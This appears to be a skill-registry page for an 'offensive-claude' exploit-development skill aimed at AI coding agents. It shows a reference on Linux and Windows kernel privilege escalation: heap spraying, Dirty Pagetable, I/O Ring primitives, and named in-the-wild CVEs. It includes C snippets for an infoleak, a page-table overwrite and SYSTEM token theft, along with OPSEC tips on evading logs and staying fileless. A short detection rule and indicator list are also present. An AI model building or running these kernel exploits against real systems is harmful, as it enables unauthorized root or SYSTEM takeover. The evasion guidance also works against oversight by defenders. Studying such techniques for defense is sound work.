hypnguyen1209/offensive-claude / skills/exploit-development
exploit-development
VerifiedUse when turning a memory-corruption bug into a working PoC — stack/ROP, glibc heap & FSOP, format strings, browser/JIT type confusion & UAF, Linux/Windows kernel LPE against ASLR/DEP/CFG/CET/V8-Sandbox
| File | Kind | Size |
|---|---|---|
| SKILL.md | skill md | 9.1 KB |
| references/browser-jit-uaf.md | markdown | 8.3 KB |
| references/exploit-feasibility.md | markdown | 3.2 KB |
| references/format-string-leaks.md | markdown | 7.2 KB |
| references/heap-glibc-fsop.md | markdown | 9.3 KB |
| references/kernel-exploitation.md | markdown | 10.4 KB |
| references/stack-rop-mitigations.md | markdown | 9.7 KB |
| scripts/exploit_context.py | script | 10.5 KB |
| scripts/feasibility_profile.py | script | 9.3 KB |
| scripts/fmtstr_leak.py | script | 3.5 KB |
| scripts/heap_fsop.py | script | 4.5 KB |
| scripts/kernel_lpe_skeleton.c | other | 6.5 KB |
| scripts/offset_finder.py | script | 3.6 KB |
| scripts/rop_autochain.py | script | 4.1 KB |
| scripts/safe_linking.py | script | 2.5 KB |
| scripts/v8_primitives.js | script | 4.7 KB |
references/kernel-exploitation.md
View on GitHub# Kernel Exploitation — Linux & Windows LPE
CWE-416 (UAF), CWE-415 (double free), CWE-787 (OOB write), CWE-125 (OOB read). ATT&CK T1068 (Exploitation for Privilege Escalation).
## Theory / Mechanism
Kernel LPE turns a kernel memory-corruption bug into root/SYSTEM. The modern flow is **bug -> reusable R/W primitive -> escalate -> restore**:
- **Linux escalate**: classically overwrite `cred` (`commit_creds(prepare_kernel_cred(0))`) or hijack `modprobe_path`/`core_pattern`. On hardened kernels (KASLR, SMEP/SMAP, KPTI, CFI, `init_on_free`) the field has moved to **page-table corruption** which sidesteps most CFI/control-flow defenses because it is *data-only*.
- **Windows escalate**: steal a SYSTEM token (`_EPROCESS.Token`) or flip `_KTHREAD.PreviousMode` to 0 to gain `Nt{Read,Write}VirtualMemory` kernel R/W. PreviousMode is **mitigated on Windows 11 24H2+**, pushing exploits to the **I/O Ring** primitive.
### Linux primitives (2023-2025 state of the art)
- **msg_msg** (System V messages): attacker-sized (up to ~PAGE_SIZE) heap objects with a `m_list` linked list; ideal for spray, OOB-read infoleak (read back via `msgrcv` with `MSG_COPY`), and KASLR leaks.
- **Cross-cache attack**: free all objects in a slab so the page returns to the buddy allocator, then reallocate the page as a *different* slab type — gives type confusion across `kmalloc-*` caches and is the bridge to page-table corruption. Hardened in 2024 ("Game of Cross Cache", BH USA 2024); stabilized academically by **SLUBStick** (timing side-channel to count slab objects) and **CROSS-X** (2025 ACM CCS).
- **Dirty Pagetable** (ptr-yudai/Nicholas Wu, 2023): use a UAF/cross-cache to make a freed object overlap a **PTE**; writing the PTE remaps a user page to any physical page -> arbitrary phys R/W -> overwrite kernel `.text`/creds. **Dirty Pagedirectory** (Notselwyn, 2024) extends this to the PUD/PMD level for unlimited stable R/W.
- **CVE-2024-1086** (nf_tables, "Flipping Pages"): `nft_verdict_init()` accepts positive drop errors; `nf_hook_slow()` treats `NF_DROP` with a positive value like `NF_ACCEPT` -> double free of the `skb`. Exploited via Dirty Pagedirectory for a universal, fileless root shell on 5.14-6.6+; reachable by unprivileged users where user namespaces are enabled. CISA KEV, used in RansomHub/Akira campaigns.
- **CVE-2024-50264** (vsock UAF, Pwnie 2025): exploited with msg_msg KASLR leak + cross-cache + Dirty Pagetable + BPF-JIT spray.
- **CVE-2024-0582 / CVE-2025-21836** (io_uring): info leak / memory-sharing UAF, exploited via Dirty Pagetable.
### Windows primitives
- **Pool spray** to control adjacent allocations: Named-Pipe attributes (`NtFsControlFile`, fully controlled data, precise size), `_WNF_STATE_DATA` (`NtUpdateWnfStateData`, readable back via `NtQueryWnfStateData` -> R/W building block), `_TOKEN` objects.
- **PreviousMode** (`_KTHREAD.PreviousMode = 0`) -> `NtReadVirtualMemory`/`NtWriteVirtualMemory` operate on kernel space -> read `EPROCESS.Token`, swap in SYSTEM token, restore PreviousMode. *Mitigated 24H2.*
- **I/O Ring** (`IORING_OBJECT`): corrupt `RegBuffers` to point at a user-mapped address -> `BuildIoRingReadFile`/`...WriteFile` give arbitrary kernel R/W. The go-to primitive on hardened/24H2 builds (Yarden Shafir; chompie + FuzzySec afd.sys; Pwn2Own 2024 CVE-2024-30088).
- Hot driver families (ITW 2024-2025): **CLFS** (`clfs.sys`: CVE-2024-49138 heap overflow, CVE-2025-29824 UAF used by Storm-2460/PipeMagic ransomware, CVE-2025-60709/62470), **AFD** (`afd.sys`: CVE-2025-54099 stack overflow), **win32k**, **appid.sys** (CVE-2024-21338, Lazarus).
## Working Code
### Linux: msg_msg spray + OOB-read infoleak (KASLR)
```c
#include <sys/ipc.h>
#include <sys/msg.h>
#include <string.h>
struct msgb { long mtype; char mtext[0x400]; };
int spray_msg(int n, char *data, size_t len) {
int q = msgget(IPC_PRIVATE, 0644 | IPC_CREAT);
struct msgb m = { .mtype = 1 };
memcpy(m.mtext, data, len);
for (int i = 0; i < n; i++) msgsnd(q, &m, len, 0); // fills kmalloc-1k slab
return q;
}
/* After OOB corruption bumps a neighbouring msg_msg->m_ts (size) field, read it back
oversized to leak adjacent kernel data including a .text/heap pointer (defeat KASLR). */
int leak(int q, char *out, size_t big) {
struct msgb *r = malloc(sizeof(long) + big);
msgrcv(q, r, big, 0, MSG_COPY | IPC_NOWAIT); // copies oversized -> OOB read
memcpy(out, r->mtext, big); free(r); return 0;
}
```
### Linux: Dirty Pagetable PTE overwrite (data-only escalation core)
```c
/* Premise: a UAF/cross-cache makes a freed object overlap a Page Table Entry.
* Map a file/anon page, fault it in so a PTE exists, then overwrite that PTE via the
* UAF write to set PFN -> target physical page (e.g. kernel cred/.text), keeping
* the present(0x1)+RW(0x2) bits. Then read/write through our userspace VA. */
#include <stdint.h>
#include <sys/mman.h>
#define PTE_PRESENT 0x1ULL
#define PTE_RW 0x2ULL
static inline uint64_t make_pte(uint64_t phys) {
return (phys & ~0xfffULL) | PTE_PRESENT | PTE_RW; // NX clear so we can also exec
}
/* uaf_write(pte_slot_kva, make_pte(target_phys)); flush TLB by touching the VA;
* *(volatile uint64_t*)user_va now aliases target_phys. Overwrite current->cred->uid=0
* or splice the modprobe_path. Restore the PTE afterward to avoid an oops on teardown. */
```
### Windows: token theft via kernel R/W (PreviousMode or I/O Ring)
```c
#include <windows.h>
/* Given Read64(kva)/Write64(kva,val) built from PreviousMode (pre-24H2) or an
* IORING_OBJECT RegBuffers corruption (24H2+). */
ULONGLONG steal_system_token(ULONGLONG (*Read64)(ULONGLONG),
void (*Write64)(ULONGLONG, ULONGLONG),
ULONGLONG eproc_self, ULONGLONG eproc_system,
ULONG token_off /* _EPROCESS.Token offset, build-specific */) {
ULONGLONG sys_tok = Read64(eproc_system + token_off);
ULONGLONG orig_tok = Read64(eproc_self + token_off);
/* Token is an EX_FAST_REF: low bits are refcount; preserve them from our own token. */
Write64(eproc_self + token_off, (sys_tok & ~0xfULL) | (orig_tok & 0xfULL));
return orig_tok; /* keep to restore on cleanup */
}
```
### Windows: I/O Ring R/W primitive setup (24H2-relevant)
```c
/* After a write primitive corrupts an IORING_OBJECT so RegBuffers -> user buffer:
* - RegBuffersCount large, RegBuffers -> array of IORING_BUFFER_INFO we control
* - BuildIoRingReadFile / SubmitIoRing then reads kernel memory into our buffer
* - BuildIoRingWriteFile gives the write side
* See scripts/kernel_lpe_skeleton.c for the full HEVD-style demonstration harness. */
```
## Detection
```yaml
# Sigma: unprivileged process gains uid=0 without a setuid path (Linux LPE)
title: Privilege Escalation to Root Without Setuid
logsource: { product: linux, service: auditd }
detection:
gained_root:
type: SYSCALL
euid: '0'
not_setuid:
exe|re: '^/(usr/)?(bin|sbin)/(su|sudo|pkexec|newgrp|mount)$'
ns_setup: # CVE-2024-1086 class: unpriv userns abuse
syscall: unshare
a0|contains: '0x10000000' # CLONE_NEWUSER
condition: gained_root and not not_setuid
level: critical
---
# Windows EDR concept: kernel callbacks for token-pointer swap / IORING abuse
# - PsSetCreateProcessNotifyRoutine: detect a process whose Token suddenly == SYSTEM's
# - ETW Microsoft-Windows-Kernel-Audit-API-Calls + image loads of clfs/afd anomalies
```
Linux IOCs: `dmesg`/KASAN splats (`BUG: KASAN: use-after-free`, `general protection fault`, `BUG: unable to handle page fault`), `unshare(CLONE_NEWUSER)` by unprivileged users before an exploit, a process transitioning to `uid=0` outside a setuid binary, sudden `modprobe_path`/`core_pattern` changes, and large physically-contiguous allocations (cross-cache/JIT spray). Windows IOCs: anomalous loads/handles to `clfs.sys`/`afd.sys`, a process `Token` field pointing at the SYSTEM token, `IORING` objects with user-mode `RegBuffers`, and Patch-Guard/CFG/KCFG violation bugchecks.
## OPSEC
- **Fileless**: the strongest exploits (CVE-2024-1086 PoC) avoid any disk write — no SUID `/bin/sh`, no dropped module. Spawn the privileged action in-memory and return cleanly.
- **Restore state**: page-table and token corruption leave the kernel in an inconsistent state; *restore* the overwritten PTE/PUD and the original `Token`/`PreviousMode` before returning, or the box oopses/bugchecks on the next scheduler tick — a guaranteed, loud crash IOC (and a stability risk on a production target).
- **KASLR-leak hygiene**: pre-24H2 Windows leaks via `NtQuerySystemInformation` are themselves audited; on 11 build 25915+ those APIs are restricted, so prefer in-corruption leaks.
- **Namespace footprint (Linux)**: `unshare(CLONE_NEWUSER)` to reach `nf_tables` is logged by auditd and is a high-signal precursor; only use it where the ROE permits and consider it burned once observed.
- **dmesg/log cleanup**: KASAN/oops lines persist in `dmesg` and `journald`; clearing them (`dmesg -C`) is itself suspicious and should only be done with explicit authorization. Minimize crashes by validating offsets against the exact kernel build (`uname -r`, `/proc/version`, symbol offsets from the target's `vmlinux`/`ntoskrnl.exe`).
- **Mitigation awareness**: do not fire a PreviousMode chain at 24H2+, or a hooks-based glibc path at a kernel target — fingerprint first (`reg query` build, `uname -r`) and select the I/O-Ring / page-table route accordingly.
## References
- Notselwyn "Flipping Pages" — CVE-2024-1086 + Dirty Pagedirectory — https://pwning.tech/nftables/
- Alexander Popov — kernel-hack-drill + CVE-2024-50264 (msg_msg leak, PUD overwrite) — https://a13xp0p0v.github.io/2025/09/02/kernel-hack-drill-and-CVE-2024-50264.html
- CROSS-X: Generalized & Stable Cross-Cache (2025 ACM CCS) — https://kaist-hacking.github.io/pubs/2025/kim:crossx.pdf
- xairy/linux-kernel-exploitation (curated index) — https://github.com/xairy/linux-kernel-exploitation
- HN Security — CVE-2024-49138 CLFS heap overflow analysis — https://hnsecurity.it/blog/cve-2024-49138-windows-clfs-heap-based-buffer-overflow-analysis-part-1/
- BI.ZONE — CVE-2025-29824 CLFS UAF (Storm-2460/PipeMagic) — https://bi.zone/eng/expertise/blog/podrobnyy-razbor-uyazvimosti-cve-2025-29824-v-os-windows/
- forsale — CVE-2024-30088 Pwn2Own 2024, I/O Ring technique — https://exploits.forsale/pwn2own-2024/
- Yarden Shafir — I/O Ring exploitation primitive — https://windows-internals.com/one-i-o-ring-to-rule-them-all/
Related skills
| Skill | Stars | Updated | Works with | Status | Install |
|---|---|---|---|---|---|
| slack-gif-creatoranthropics/skillsKnowledge and utilities for creating animated GIFs optimized for Slack. Provides constraints, validation tools, and animation concepts. Use when users request animated GIFs for Slack like "make me a GIF of X doing Y for Slack." | Stars: 197k | Updated | Claude CodeCodex | Verified | Install |
| ponytailDietrichGebert/ponytailLazy senior dev mode for any coding task: the smallest change that fully solves it, and a reply a busy human understands in one read. | Stars: 194k | Updated | Claude CodeCodex | Verified | Install |
| ponytail-debtDietrichGebert/ponytailHarvest every shortcut: comment into one debt ledger, so deferrals get tracked instead of forgotten. One-shot report. | Stars: 194k | Updated | Claude CodeCodex | Verified | Install |
| ponytail-debtDietrichGebert/ponytailList every `shortcut:` comment (and older `ponytail:` ones) as a debt ledger. One-shot report, changes nothing. Use for "ponytail debt", "what did ponytail defer", "list the shortcuts", /ponytail-debt. | Stars: 194k | Updated | Claude CodeCodex | Verified | Install |